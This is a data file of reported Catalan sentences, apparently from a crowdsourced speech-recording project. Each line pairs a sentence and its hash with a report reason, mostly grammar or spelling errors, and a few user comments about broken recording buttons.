ocórrer fins a mitjans de la pel·lícula. 2a5154ece0490e5f5aad6af59c5fe77ff92c2d27ef23a924e435d7441a2887af ca grammar-or-spelling Intentaran que aquest a les botigues aquest nadal. 2a5ac58659abd513a043558a9e2b6d885f56ba804c9fc3971da2370231341f73 ca grammar-or-spelling Però això normalment no ocórrer fins a mitjans de la pel·lícula. 2a5154ece0490e5f5aad6af59c5fe77ff92c2d27ef23a924e435d7441a2887af ca grammar-or-spelling Intentaran que aquest a les botigues aquest nadal. 2a5ac58659abd513a043558a9e2b6d885f56ba804c9fc3971da2370231341f73 ca grammar-or-spelling A amb freqüència, eren boniques gerres de metall decorades amb riquesa. 2aeb0b8be50d04c0a750c7fb51a4998b16a31bbcdeb34c4f14a2b1ab80f87bed ca grammar-or-spelling Altres fites de la seva vida publica o privada són desconegudes. 2af34b9003351d775fa2ca77db86732d7e0be8f4231fd553c2e5b4c19287f08d ca grammar-or-spelling Edifici construït entre docs carrers en desnivell. 2b14afecfef70be41e24d11a3f08c82fad8a6fa79997f6455ef8384a646b512c ca grammar-or-spelling A la façana en destaca un rellotge de sol. 2b0b3fcfce7ba86e3f5bb2aa19ac59fd881a3917920cc9613ea1d92e3f95efc4 ca grammar-or-spelling Es veuen dues etapes constructives ben diferenciades: la dreta més antiga que l'esquerre. 2af221aa5e730b0b2828eccce940986e33caef1b556f686ff8845854a1594e5f ca grammar-or-spelling El gen crema és el que ocasiona és aquesta capa. 2a4cabf958ec11d6ab307faf2750d46ae059db3d147b92da1964d335921c979d ca grammar-or-spelling L'orfebre refusa l'or que un Comerciant d'or li ofereix, jutjant impur. 2a3e7fff888c74293f03350f5ca5c9a1401e6a293bfa87b95f26d58d7a5a2580 ca grammar-or-spelling Intentaran que aquest a les botigues aquest nadal. 2a5ac58659abd513a043558a9e2b6d885f56ba804c9fc3971da2370231341f73 ca grammar-or-spelling Dites electores eren els qui escollien als diputats provincials per a l'assemblea. 2b5fe88e63731b6151923d27779343e1b781dd77e6e62ee0e67b3ba4fdd78450 ca grammar-or-spelling L'orfebre refusa l'or que un Comerciant d'or li ofereix, jutjant impur. 2a3e7fff888c74293f03350f5ca5c9a1401e6a293bfa87b95f26d58d7a5a2580 ca grammar-or-spelling L'activitat del comerç és la qual major nombre d'ocupacions dóna al municipi. 2c072263bcb68dd574bf4b29bbcf4894b83643377c04239ab7456e170e8154c9 ca grammar-or-spelling Molt marcat a Alemanya pel marxisme, fou un dels principals introductors a Espanya. 2c754d225eb84922b1bcd4ff5ae6941264d386235e94354c93103e5e2db6b0d2 ca grammar-or-spelling Probablement, es trobessin amb algun tipus de resistència en la seva migració. 2cbb5c5fc722786fa4eb9d7e204caa049db967e1f8e5034a3caf3aa973ec67ed ca grammar-or-spelling Les aigües no gaire profundes, tranquil i transparents la fan ideal per a esports aquàtics. 2cc9f704cb95414fd5a64bd8d76647e547b233a6d8ffac7a10b7a4369eab70aa ca grammar-or-spelling Les candidatures potencials a presentar-se en aquestes eleccions hi ha: la de Víctor Font. 2d761df9cf8c1e8789e0e01e7e3bd58afb1cbc5965f489383624f90f777883f1 ca grammar-or-spelling Les candidatures potencials a presentar-se en aquestes eleccions hi ha: la de Víctor Font. 2d761df9cf8c1e8789e0e01e7e3bd58afb1cbc5965f489383624f90f777883f1 ca grammar-or-spelling Es comercialitza fresc o congelat, tot i que n'hi ha informes d'intoxicacions per ciguatera. 2d6ee833af91d4e889a5fa3155404df93e8fb309e31bb9b8c1cc39413deb30fa ca grammar-or-spelling Havia de rebre tropes però alguns reis no els hi van enviar. 2d01a7bf9b420470f2a3fdccbc183af99f3f4c89c57f3e00ca9259b621f8eb0f ca grammar-or-spelling Aquest interès va ser progressant i abastant també a les pel·lícules d'animació. 2d71c595bba97139c01659bee1ddf103c99ec5205e5cc4eac133d6ad195c5332 ca grammar-or-spelling Per exemple el déu solar egipci emergeix d'un ou preparat per huit divinitats primordials. 2dc1f15c168f02ff13dac4c2e5736df92d2e72da666b65ac6c8f64ebd1c74e88 ca grammar-or-spelling La ceràmica coreana mostra tècniques avançades i s'ha trobat joies elaborades enterrades en antigues tombes. 2e45fc203afd182f9777ea0f8bf5e8bd625ddd2a9735c426bb28137320a01738 ca grammar-or-spelling Aquest formen només les eines que utilitzava per als seus missatges. 2e2b350f1f40ed2b403fa104e459a5ae34613b10634c0ad6345a8641b1491ffc ca grammar-or-spelling Malgrat que el títol de la cançó, no es representa cap petó entre noies. 2ea6142c1e32eb4bd50e82cd9619a089907bf70af683a25628bca8b34a0297e1 ca grammar-or-spelling També alguns epítets específics com. 2e25c39fb1543b79fa93e1db877967519fa9750c65e2d13b03d1e4443be081fd ca grammar-or-spelling Surt electe la parella que obté la majoria absoluta dels vots. 2e8cca8e807992d56c5c64e283156ce50ebcc5b6018edbea5068d34db6861009 ca grammar-or-spelling Tots dos s'estan ajudant un a l'altre per sobreviure. 2f7e1ed5839483e254069ef02892ab52aca20b31ea5c97a81c1a73eb1dabbd5e ca grammar-or-spelling Les illes de Borneo i Nova Guinea és on hi ha major concentració d'espècies. 300e4746e91c759c9b5deca14aacfd466c6161e93f036e1fd410f169082140b5 ca grammar-or-spelling Afirmen que, a llarg termini, els diners és neutral. 310e8ce74412b6119d1ccec4212e9e62266077dc90048602d0c3379aa3d94a96 ca grammar-or-spelling La totalitat de l’espai forma part del Parc Natural de Delta de l’Ebre. 3259cf240a342c8c84a0ae055b0520aee727c1039489c70cb09e3b810af94e85 ca grammar-or-spelling La població que els utilitzava eren caçadors-recol·lectors que semblava romandre dins d'un determinat territori circumscrit. 31e9b29ede080b2d06b9c3283ae8efe4721617251a00a83a56c809c6194d120f ca grammar-or-spelling La resta del poble és tota a migdia de la carretera esmentada. 3213d5ae4e481fe58ed5e2371e3f20b4cc36cb62611346da821cd18cda8d6857 ca grammar-or-spelling Aquestes marques facials marques podrien tenir el seu origen a Egipte. 3248e7407b5c61412043dad34399cce430ff6f730b21d4ae24b618f2a8db4bb0 ca grammar-or-spelling El i el va tornar a ser ambaixador a Roma. 324471b128ef2e1ba8b6da3a4401da0b7d6ae0f45cf94a0dfc5544ca401de946 ca grammar-or-spelling Els carrers són de traçat irregular, amplis i amb fileres ordenades de pis i xiprers. 32c6d47b23f09e2fc0e548acd8306f35c0037cd89e342dd74fc2ec6ff8b548ed ca Diria que hi ha un error, deuria dir: Els carrers són de traçat irregular, amplis i amb fileres ordenades de PINS i xiprers El límit nord venia determinar per la mar i el sud pel desert. 330089c31d57b86b373da26a0e991d34d5d0710ac1a2d539e27a90892b788268 ca grammar-or-spelling Pertanya a una família benestant encara que no de la noblesa. 32e71e88db5cc9ac271241e935d57ff960398e02d9bc7497dbd161935cfd480c ca grammar-or-spelling Pertanya a una família benestant encara que no de la noblesa. 32e71e88db5cc9ac271241e935d57ff960398e02d9bc7497dbd161935cfd480c ca grammar-or-spelling Pertanya a una família benestant encara que no de la noblesa. 32e71e88db5cc9ac271241e935d57ff960398e02d9bc7497dbd161935cfd480c ca grammar-or-spelling Aviat van tenir sucursals en Rússia, Pèrsia i Turquia. 34385efb344124dd2305822a8c18c4de200897c393fb166242d4b1899f582d2f ca grammar-or-spelling Fou vassalls dels samànides. 34082ac6d868aa364a2656c1bad23040c237fe37b05bad02d0a967ef7cfa956a ca grammar-or-spelling Hi ha un crater a Mart amb el nom de la ciutat. 344e5a8c53f5a1d9707b73ec29037603b743d77495e82b64390c372eda4ae0af ca grammar-or-spelling Al primer pis hi ha dues finestres i, al segon, s'hi ha dues més. 34b8626175030d3f5c81d039e85a415d6436eff933dae36e8359130b2feebb55 ca grammar-or-spelling En lloc d'això són totes les finestres en rajoles. 35d4c88e59ce01792c0566cfb78c1023dc60d30bd767524e277430fdaec2634d ca No s'entén el sentit de la frase per tant és difícil de saber com llegir-la amb l'entonació adequada Els forjats estan feta amb bigues de fusta amb voltes de rajoles. 3990fb91953caf75771a7f72fa4d482276846d1201a576d53d644e536f940a84 ca grammar-or-spelling La visualització de dades a temps real, permet saber què està passant en cada moment. 38dd9ba2092f0068a9a476cbecd6279592d4e4ce25bc319472751c3bad729581 ca Error de puntuació A més de la seva banca i bases de finançament, jersei també depèn del turisme. 3a3045e94b02314a9f4220beb3efcb95ee87171bc7ead970814a926f4b00a57f ca grammar-or-spelling Reaccions similars s'ha observat amb certs halurs inorgànics. 3b95772b4c1acf85892298aee093ff6fb6781260745b7c7a67e3220219dfe2bb ca grammar-or-spelling L'element més emblemàtic del tot el conjunt és la piscina interior flanquejada per columnes. 3d5d9dc3b53ee167dd7f995faf1febb3cd2823ae38ce68e55f8858ff4889a8ad ca grammar-or-spelling A poc a poc, la frontera lingüística romanogermànica va pujar al nord. 3ddaffe7aa36da77e594280f73fbcc121039f5cecbf3708b8817c775c5936110 ca No em funciona el botó de gravació S'ha combinat diversos llenguatges estilístics. 3e6bdba914543ad9afd360309f2a94fc0e18763bf235d9d9d0cab9b2a6d311e1 ca grammar-or-spelling Fou els anys seixanta quan la banda perdé nombrosos músics i quasi desaparegué. 3e126923b2e7c4a25b246be5c6982cc77212e4d43d94f032f2f5362b23268037 ca grammar-or-spelling A les seves ordes va servir Vespasià, que anys després va ser emperador. 3eab7f7cb870436eaae44df18c5316002d5160487f5b8e31fb82c9649c29ba16 ca grammar-or-spelling Fou destruïda pels àvars el i ja només fou restaurada com a fortalesa de frontera. 3ed3b31d738ac461950fbd18503803992e2143047dfbae70f641ba05240e8e7a ca grammar-or-spelling Aquest porxo esdevé terrassa, amb barana de balustres, a planta pis. 3e483576f3f13a966fce2317999bd08ab725222265d3c02dc5c5f63be81b7acf ca grammar-or-spelling Algunes claus estan dissenyades per dificultar-ne còpia. 3ea672c5d5208d88df7fa318c9df75e71153b4b65fe4063d44f8716889e28225 ca grammar-or-spelling Viuen sovint al sòl del bosc, alimentant-se d'insectes i també fruits. 3ed59f4e3d087f6f48bf6237fab004e638408e9e73127ed5379a8b6ea20cc6c5 ca grammar-or-spelling Es tracta d'una coproducció en què van participar Dinamarca. 3d71044e18b4c72eb1bb7087afef5053874c9756e4a5ed9714b9036e215b3958 ca grammar-or-spelling La descoberta l'anatomia humana està íntimament lligat a l'anatomia artística. 3e9e2bb4342c543d0e862f0633be55854f2761c6c6a9f72809d9dc64a125c1a6 ca grammar-or-spelling Fou construïda el i avui dia és un important centre econòmic. 3f141d27e4dca4ca5ed4038b494e475b26565e9c0c0e6f7c9ec79f13bd147b1d ca grammar-or-spelling El seu hàbitat natural inclou boscos secs tropicals o subtropicals, rius, aiguamolls d'aigua dolça. 3f0b7ff84a3c53c51b49f51df3b8114c64c0091e73289f286f25ce19b9d2e1b7 ca grammar-or-spelling La competició de copa començà a perdre interès, tant esportivament com econòmica. 3ef8414b97100c3ccf84a3aa879bc287cbd2eb005eaafc14b4e4e40cca6e3c1d ca grammar-or-spelling El perfil radial del ventall al·luvial és còncau, mentre que perfil transversal és marcadament convex. 3efe9108bf2f10adc59043f8741eaf0f775ab5be5f2802da218113617020de51 ca grammar-or-spelling Cinc acusats van ser declarats culpables de violacions Rico i altres delictes. 3f6c95e4785600d68e8db43e56f530c29e78a0ae684e306a09eab079085a930a ca No es correcte. Va ser pretor el i va rebre Sardenya com a província. 3fbc2415ae9af4347afc70d89cbe6baf1387822946427ed2640a658a988f39b6 ca grammar-or-spelling La descoberta l'anatomia humana està íntimament lligat a l'anatomia artística. 3e9e2bb4342c543d0e862f0633be55854f2761c6c6a9f72809d9dc64a125c1a6 ca grammar-or-spelling Una de les raons va ser que ella després d'un matrimoni a curt termini. 3fd58e3f19f8bcef6ee93b66096906f95e4ce87b3fb39cdb14bd03fe91ef1db2 ca grammar-or-spelling La descoberta l'anatomia humana està íntimament lligat a l'anatomia artística. 3e9e2bb4342c543d0e862f0633be55854f2761c6c6a9f72809d9dc64a125c1a6 ca grammar-or-spelling Cinc acusats van ser declarats culpables de violacions Rico i altres delictes. 3f6c95e4785600d68e8db43e56f530c29e78a0ae684e306a09eab079085a930a ca grammar-or-spelling També hi caçaven ant. 40b44d2cc708a3276d8abd525c69f9f931b379205c538c652432ce9aca06cf0c ca grammar-or-spelling No obstant això, va comportar a una disputa entre ells. 4085eff4a7f41c360210836ac76c060ce15b975fe255d2c5a1426057bbd9a54d ca grammar-or-spelling Savi se'l considera com el pare de geologia italiana. 409ab695ca98813d1e83346bc80de20408d3ad8c0b7c73d030ab41139d737522 ca grammar-or-spelling Sigui també concedit els drets de Magdeburg llei. 3fc26ef65ef3767854d1e5cb06953965b7d498cc32add4c3a7d9878897433a08 ca grammar-or-spelling Judes va anar-hi però fou descobert pel seu pare adoptiu, a qui que Judes matà. 40d075b44e0fcb6d0832eba221651b57c6894df669a63551eca01f0650347224 ca grammar-or-spelling Judes va anar-hi però fou descobert pel seu pare adoptiu, a qui que Judes matà. 40d075b44e0fcb6d0832eba221651b57c6894df669a63551eca01f0650347224 ca grammar-or-spelling La majoria són perennes i proveïts d'estructures d'emmagatzemament com el corm o el rizoma. 41ccbd429db33926d8bc35a16f38776fa208a9e33529bdc8f8f898eeec3d4541 ca grammar-or-spelling L'interior està dividit en tres càmeres, sent la del mig la té el fumeral. 4255115704e24ace4a6b300eb7202644e7dc3c55ed0fa93a5b88293d317bdf76 ca grammar-or-spelling Com a compositor oscil·là entre el paper decisiu de gènere, religiosa, lieder, òpera. 4245b3e21dc4b902539df3d6d1139950d25e819c1e24a8bd6a26a845107c13be ca grammar-or-spelling Posseïx un engranatge doble calibrat perquè d'un gir complet en un dia o una setmana. 42365cce68936b5e29c9954eaa376d44d6bdf4da40c1b43d42fe7a2036ba6d62 ca grammar-or-spelling Casa situada al mig del nucli, davant de la capella de Sant Pere. 4338784abf2479b9203e2465afaccb7fc5ef5197379661082978e0d6a1601e38 ca offensive-language Casa situada al mig del nucli, davant de la capella de Sant Pere. 4338784abf2479b9203e2465afaccb7fc5ef5197379661082978e0d6a1601e38 ca grammar-or-spelling Casa situada al mig del nucli, davant de la capella de Sant Pere. 4338784abf2479b9203e2465afaccb7fc5ef5197379661082978e0d6a1601e38 ca difficult-pronounce Casa situada al mig del nucli, davant de la capella de Sant Pere. 4338784abf2479b9203e2465afaccb7fc5ef5197379661082978e0d6a1601e38 ca different-language La Justícia Espanyola va processar dictador xilè. 4424c383d5bf208fbc175fc6b152b282c1c7caed91b1c813e1406e9b10ef83d3 ca grammar-or-spelling Paul Gray va morir per sobredosis de morfina i un substitut sintètic anomenat fentanil. 4417bc5301f3e785e537f0c8e9459191e72b8bc74a7f3ab3f6beec07bb23e922 ca grammar-or-spelling Va viure fins al quan Roma va ser ocupada pels gals. 441645f37ab05125314e3f73e11c0a4bf7903dbddea7c03bf352680fa4d64665 ca grammar-or-spelling La major part de l'estructura es troba cobert per la sedimentació i la vegetació. 444e51d943037571f4090efe3d03001adcbf36faccac1618738005212970fa90 ca grammar-or-spelling Líder també en tots els camps de; Ràdio, televisió, periòdics, pel·lícules, música, jocs. 444837635d9f965b6f4178d2496c05bed53ad7e5aac8f9cac3c6becc3dd592d1 ca grammar-or-spelling La major part de l'estructura es troba cobert per la sedimentació i la vegetació. 444e51d943037571f4090efe3d03001adcbf36faccac1618738005212970fa90 ca grammar-or-spelling Mentre és allà inadvertidament adquireix una reputació de ràpid en treure la pistola a causa. 44359f891a0e38396f8e63b388e0db543e42e8cf92471df6adc7ee4465ce7172 ca grammar-or-spelling Va en pista, on va guanya una medalla al Campionat del món de Velocitat. 447e696603c936807755ac64a1169f5e78b7097c86d2c98f50c3b37118dfc294 ca grammar-or-spelling Aquests dos darrers llocs tenen cada un castell templer, Tortosa i el Castell Blanc. 446dc7b48f0160e5e2e42a79c554d0222bca9204a89cf00a506854f7e51b76d6 ca grammar-or-spelling Va viure fins al quan Roma va ser ocupada pels gals. 441645f37ab05125314e3f73e11c0a4bf7903dbddea7c03bf352680fa4d64665 ca grammar-or-spelling D'altra banda, va president de l'Aliança Obrera de Badalona. 44fee728df68c5e10ad8a4f4fde54b4cc37f8be0d340da0d5a590b66cbdf50d8 ca grammar-or-spelling Llurs descendents van casar i assimilats en les poblacions euroamericanes i afroamericanes gradualment. 4521eabb3ed6fb52ee55135c3ef7b5c5c9c7ff8f03121babe4d0a1328f1f32ba ca grammar-or-spelling La major és l'angle de contacte més hidrofobicitat una superfície. 453fc0be971274c988d63f80d7b952ec5a57d722e7cf3ef350f629f895e83318 ca grammar-or-spelling Pertany al i per tant s'enquadra dins la baixa edat mitjana. 4523dd8295e445462cf0ac2dc62300f4bc3d69caa0145af3be8a86136baac038 ca grammar-or-spelling D'altra banda, va president de l'Aliança Obrera de Badalona. 44fee728df68c5e10ad8a4f4fde54b4cc37f8be0d340da0d5a590b66cbdf50d8 ca grammar-or-spelling Llurs descendents van casar i assimilats en les poblacions euroamericanes i afroamericanes gradualment. 4521eabb3ed6fb52ee55135c3ef7b5c5c9c7ff8f03121babe4d0a1328f1f32ba ca grammar-or-spelling L'entrada en resumeix les temes més importants de l'article. 45878f0aea6e5e1ee47a5f772a94bfe9f747606ab8640ecd5bb3d624c894e523 ca grammar-or-spelling Té amb una notable portalada plateresca, obra d'Alonso de Covarrubias. 4595cabecbef0006ae79694966cf92dc412c40817ce6e1c74ef93586b6ecddbd ca grammar-or-spelling Francesc acompanya Josep al viatge fet que prova de la seva estreta relació. 45d3be398d152c0c8a56e211ac489eae8b439bb2042d8403ba9ecd1ef9658064 ca grammar-or-spelling El lleó que es troba al Louvre mesura mentre la placa unida mesura d'amplària. 45e125c3883e82666fa6cf341e09af1c94795d70dfaef6194617cd85c82c1238 ca grammar-or-spelling La Unió Europea va convocatòria de cimera urgent. 46740d87c6cd79a6f2a73c2f1c7d4b8b9a97e1e4ebfba5f025202186e7d22dc0 ca grammar-or-spelling La Unió Europea va convocatòria de cimera urgent. 46740d87c6cd79a6f2a73c2f1c7d4b8b9a97e1e4ebfba5f025202186e7d22dc0 ca grammar-or-spelling El modern cap de Scilla està situat just enfront de Torre del Faro a Sicília. 46ab92810bbd2843503f3cb71e691077d87d40a4f2e50ad304605fb6f71519ec ca grammar-or-spelling La Unió Europea va convocatòria de cimera urgent. 46740d87c6cd79a6f2a73c2f1c7d4b8b9a97e1e4ebfba5f025202186e7d22dc0 ca grammar-or-spelling Aquesta Constitució és considerada com una de les més liberals i democràtics a Àfrica. 46db3fc2e84ef99c9afab76dac4a04ca746e59ecf94dfba1fb6881b8299da13e ca grammar-or-spelling Aquests són els poques dades que es coneixen dels seus primers anys. 46ba6ba01995344d8090a8233db57b08970dd63d5c830e75e09035c4630d0184 ca grammar-or-spelling Aquests són els poques dades que es coneixen dels seus primers anys. 46ba6ba01995344d8090a8233db57b08970dd63d5c830e75e09035c4630d0184 ca grammar-or-spelling Composició simètrica respecta de la façana principal. 4638529e430fc0b97e39d7f6a38442cbbac400116605a4d28ef5ad4c0740b0a6 ca grammar-or-spelling Aquest sistema agrupa a la gran família dels hidrocarburs. 46b9c36f53576fe49ba56c829df08df3bad220df6fcdaac0f3b6d319e58c5a69 ca grammar-or-spelling El seu habitatge i les dels seus familiars van ser registrades intensament. 46f689492357486f8dcf41659ad57d18c5188fd721ef0230c4672977d6b2ba37 ca grammar-or-spelling Una barana, per cert, poc destre i elaborada, tant des de l'òptica tècnica com plàstica. 46f42fcc6d800270bec2cf46ca7f888779de2a50330bb0d8dff911d60299c90a ca grammar-or-spelling La Unió Europea va convocatòria de cimera urgent. 46740d87c6cd79a6f2a73c2f1c7d4b8b9a97e1e4ebfba5f025202186e7d22dc0 ca grammar-or-spelling Els murs laterals són del i s'han conservat com a mur de càrrega. 46e008ba6c8a4c4bb19a96480164273f54183a2bad3738d556fa89ffa10b0e4c ca grammar-or-spelling Aquest territori va estar sota jurisdicció de la Real Audiència de Guadalajara. 46ecd605c8e82a1f50887052c9cf68cdcd9e2d32deb3a36a11d3a3d80810c53b ca grammar-or-spelling El seu habitatge i les dels seus familiars van ser registrades intensament. 46f689492357486f8dcf41659ad57d18c5188fd721ef0230c4672977d6b2ba37 ca grammar-or-spelling Ciutat Alta hi han grans edificis i avingudes amb molt ambient. 4617c402fc68a7d2ec6d76248921e89877890f21b17207e7a17c1cc59266cc87 ca grammar-or-spelling Però realment parla sobre una relació que va tenir fa temps els seus pares. 46a866144d986f29c02a11b469f1f14173a86870a7b699573499a2e0656ccb46 ca grammar-or-spelling Els murs laterals són del i s'han conservat com a mur de càrrega. 46e008ba6c8a4c4bb19a96480164273f54183a2bad3738d556fa89ffa10b0e4c ca grammar-or-spelling Quatre persones i després es van unir a l'equip més tard vaig llegir. 4757e42635e9dfc6dc45550b4fe17294b2e2c32d24573bddb534b2eaf4454f96 ca grammar-or-spelling Aquests són els poques dades que es coneixen dels seus primers anys. 46ba6ba01995344d8090a8233db57b08970dd63d5c830e75e09035c4630d0184 ca grammar-or-spelling Després de graduar-se es va anar a treballar en un laboratori fotoquímic, on processava pel·lícules. 470a229eb721e534df840e9270716debdb290343ed843c60468bf01a523e5ca3 ca grammar-or-spelling Els murs laterals són del i s'han conservat com a mur de càrrega. 46e008ba6c8a4c4bb19a96480164273f54183a2bad3738d556fa89ffa10b0e4c ca grammar-or-spelling Aquests són els poques dades que es coneixen dels seus primers anys. 46ba6ba01995344d8090a8233db57b08970dd63d5c830e75e09035c4630d0184 ca grammar-or-spelling Per a molts d'ells, Pollini és amb molt el més gran pianista actual. 4795597c55192f24fcba4e03a6220a099b3c4623423ccd441a808873a5f28ffc ca Cap problema Les persones ferides i vulnerables havien de ser prioritzades. 473e3400839820379d96cd9349d9f14a49cddf54152b5009d8c040352dcfa3e8 ca Cap problema No obstant això, la majoria dels nòduls en són neutres i apareixen només en extinció. 47a88835a2ebef53bf87780c84af2aebcb9852efd3a6e3ed7a4338dcbd6d43e4 ca Cap problema Un fusell que es troba allotjat al capçal. 476e60c4b50db301a5eda13013fe39d8da0eb2521a007db7b3ba0af37dd54e31 ca Cap problema El seu cos fou arrossegat pel poble a través dels carrers de la ciutat. 4785bf36cb4bf97566081ddb2215e8e4dc6a9120e1230710361020b039abe032 ca Cap problema La crònica és una de les inscripcions hel·lenístiques més llargues que es conserven. 477f9a0c03b3d0aab1a8ad7b727931b28b108cab769d67b0055b2fa0e8159f27 ca Cap problema En el seu temps gaudí de gran renom com a organista i contrapuntista. 47b579276649ef14ad45d06cbd0309a9f1d42b14442b5273074986a8f2ca52da ca Cap problema Poden ser una simple cinta adhesiva o estar coberta de pedres precioses. 471913c9b3f3186fb6039065991667b44914b392d75dfd59d7a7ba528c9b1f21 ca grammar-or-spelling Els infants també es diferencien depenent l'acolliment. 480d5c552753ce8e75ec80dbc1aa0e77331d5e48b7abd09f1a07cefcf725404e ca grammar-or-spelling Comença adquirir un llenguatge propi integrat dins els corrents europeus. 47bd17f5f21f80de2b6083cfdce7a4c2da87492a72a6a1a879758c726d3e2a75 ca grammar-or-spelling Els nens, qui estaven amagats a la casa d'Oliva, retornen així amb els seus pares. 480eb79ec6b81e78c3822f4f06033f1f9e27e9308f9e6b5d2016c553bf260254 ca grammar-or-spelling Fa caus amb múltiples entrades on viu formant grans en colònies. 479319ea78f1aed19bb1e842e7b7da5f99bfc4ddbdea18d92b85e8de0c521a26 ca grammar-or-spelling Es considera amb freqüència a Moscou com la comunitat armènia més gran a fora d'Armènia. 4804e78eff5fb25cbdf8ff78f30d99ff3cb82e2e7d065a47f57bbf40ca11dc5a ca grammar-or-spelling Els substantius que segueixen els nombres requereixen construir estatal. 47c81c8000f6cbf12e07a8d7b34286f625d454efb231c2e1d05e88506bb82ea1 ca grammar-or-spelling Consisteix d'un sol arc amb la decoració de relativament simple. 48171a8a9b1f2f714b689bab61c3ae8037a3ed10af0bd3f5c71e723bb9f35e15 ca grammar-or-spelling Aleshores, es convertí una productora de pel·lícules originals. 4824c3c7bea3c37672c78a1da2ada745219a73746473c8adb0747331254f9336 ca grammar-or-spelling Dones i el tema d'estimar inspirat la majoria de les seves composicions musicals. 48c5b9d1c4bc89adb29cf4c62fa5adfedbaa567e7a48148fb5562a264f1a38cb ca grammar-or-spelling Un tipus bastit a partir l'aristocràcia nativa integrada en el món hel·lenístic. 482394254f3682cef92c1ec6718702b4e53dc6de9a00c6289dfcdfc29fcfcf1e ca grammar-or-spelling Aleshores, es convertí una productora de pel·lícules originals. 4824c3c7bea3c37672c78a1da2ada745219a73746473c8adb0747331254f9336 ca grammar-or-spelling Va créixer amunt en Dearborn, Michigan, on tots dos els seus pares eren mestres. 498c3f41c02d3641fed913af8758b0b45f308a5bf492adfa7ee4c5ae275d3bcf ca grammar-or-spelling Al temps, va ser conegut com entre els japonesos. 49c6df8b5518c756c4f1b2d8a2c18e91f552ede3a8339dee3bb3b68ee749b5e2 ca grammar-or-spelling La conservació d'aquestes restes han estat clau per descobrir què li passava. 49969b20f7cdef916436f6c53650a53d43870ad60ddf0294902be715f2c5505c ca grammar-or-spelling Una de les temporades més critiques de la seva història. 49344a3e4e28396ff021888e2a2856577adf75b2b72c1840396c0b3e20933e42 ca grammar-or-spelling Va créixer amunt en Dearborn, Michigan, on tots dos els seus pares eren mestres. 498c3f41c02d3641fed913af8758b0b45f308a5bf492adfa7ee4c5ae275d3bcf ca grammar-or-spelling Les pesca i la venda de mariscs són part fonamental de l'economia local. 48fb13628650c36c0b73421284f77c8b3fa60697cfbfcae4a11af85629540280 ca grammar-or-spelling Se li atribueixen les obres i però són força dubtoses. 49ab6fe851268db66fef83e6e1874c51bf3e20df93cb2fe37daa8878b02629cc ca grammar-or-spelling La diòcesi comprèn part de septentrional de Moràvia. 49a179cc33a9203e910d064bd9b7228773e3486cadbcb68ace9da98e1e1cbbcb ca grammar-or-spelling La conservació d'aquestes restes han estat clau per descobrir què li passava. 49969b20f7cdef916436f6c53650a53d43870ad60ddf0294902be715f2c5505c ca grammar-or-spelling Ja durant la restauració borbònica, va fou membre de l'Acadèmia de Ciències Morals i Polítiques. 4855a5c404837ab069c996b96a8bcfcd5f30b38a8e767597d947fa700921e870 ca grammar-or-spelling Una de les temporades més critiques de la seva història. 49344a3e4e28396ff021888e2a2856577adf75b2b72c1840396c0b3e20933e42 ca grammar-or-spelling La conservació d'aquestes restes han estat clau per descobrir què li passava. 49969b20f7cdef916436f6c53650a53d43870ad60ddf0294902be715f2c5505c ca grammar-or-spelling Totes aquestes terres van més que va doblar el seu territori. 49ea28905a7a0b4ff1cac3e80846fdfdc33e1f51aa4e3a74676d280599714927 ca grammar-or-spelling També pot robar la pressa a un altre rapinyaire. 49ec5746f7ad2bdeeaa71c11d9920da459e71a30669013ea695aaee2de599786 ca grammar-or-spelling També pot robar la pressa a un altre rapinyaire. 49ec5746f7ad2bdeeaa71c11d9920da459e71a30669013ea695aaee2de599786 ca grammar-or-spelling Busquem en va amb la mirada a la ministra de Cultura. 49bee18d902a58cdde2c454614ae74966f5ac1e48d3b46400dc9ff551d35cccd ca grammar-or-spelling Les seves primeres lliçons d'art las va rebre d'ell. 499cc152a86272631ee13ba0b01f93705c102fb5c94b85823424ed9c7293b45c ca grammar-or-spelling Va créixer per acollir a la nombrosa emigració que arribava a la capital. 4956ed6c710d9ebd87f87ca411a2b206d0df9b530735fc5b513cb6fc61c45e45 ca grammar-or-spelling Va créixer per acollir a la nombrosa emigració que arribava a la capital. 4956ed6c710d9ebd87f87ca411a2b206d0df9b530735fc5b513cb6fc61c45e45 ca grammar-or-spelling Avui com antany és un petit poble rural al qual no canvia molt. 4a3c7c04d73f04373056eefa07df50db14436a5040a08542d25ed6b7406fdf01 ca grammar-or-spelling Va ser condecorat amb l'Ordre de Serveis Distingits per les seves accions. 4a7b4164e7779e8eac5f34c47e103fb028a57c1bd39a59fbb03339af9cfcbf90 ca grammar-or-spelling Tal com se sap, cap de les fotografies que va prendre al Sudan va sobreviure. 4a9eccbebd439f211f42c698e5da6d0eefe04656ac159c94a9db1c0dcca271d2 ca grammar-or-spelling Malgrat no trobar-se en perfecte estat de conservació, l'estructura ni els forjats es troben amenaçats. 4a51878a6b58d94c34121087108add8fe75c4f20e7c748422340a49aaf0682dd ca grammar-or-spelling Malgrat no trobar-se en perfecte estat de conservació, l'estructura ni els forjats es troben amenaçats. 4a51878a6b58d94c34121087108add8fe75c4f20e7c748422340a49aaf0682dd ca grammar-or-spelling L'àrea de la missió és Mali, amb la seu es troba a la capital Bamako. 4aee904a70cd0b2dd99a81c032d0e9a2859e626f7c4ac9f40f37d339cb8945e7 ca grammar-or-spelling Toni Albà interpretarà a un soldat català. 4b026afa2b02446f275c16947b7532d88c414185df3ca57d08e09be911e7ea2a ca grammar-or-spelling Aquesta acció, destinada a intimidar als damascens, en canvi els va decidir a resistir. 4afb47356ea092bc88291c943e80b26ad310c6b54bee9c50ac6e07b610e3cfad ca grammar-or-spelling Aquesta gran altura fa que es vegin a desenes quilòmetres de distància. 4aa1890af21ffbd12a47e3162a4ee94e16c494bcd1bcf400565cf4211aab8811 ca grammar-or-spelling Fins al no va tenir una autèntica estructura urbana. 4ab976bb14287b68e0bd48ba21307dfa7ebed3df8298e8543c0836df8b5d978d ca grammar-or-spelling L'àrea de la missió és Mali, amb la seu es troba a la capital Bamako. 4aee904a70cd0b2dd99a81c032d0e9a2859e626f7c4ac9f40f37d339cb8945e7 ca grammar-or-spelling També es van oferir materials digitals que tothom pogués distribuir. 4afc7e748c259da616d5a37487a85c5a287939739547e0c241113e1a15c5f317 ca grammar-or-spelling Fins al no va tenir una autèntica estructura urbana. 4ab976bb14287b68e0bd48ba21307dfa7ebed3df8298e8543c0836df8b5d978d ca grammar-or-spelling És, de fet, el contrafort nord-est del Grony del Vilardell. 4ac4f53579374d73a5082f6739e6b1fea985f2d1a2eb9767269b418a096351bc ca No funciona el botó per acabar la gravació Molts tiols són líquids incolors que tenen una olor semblant al de l'all. 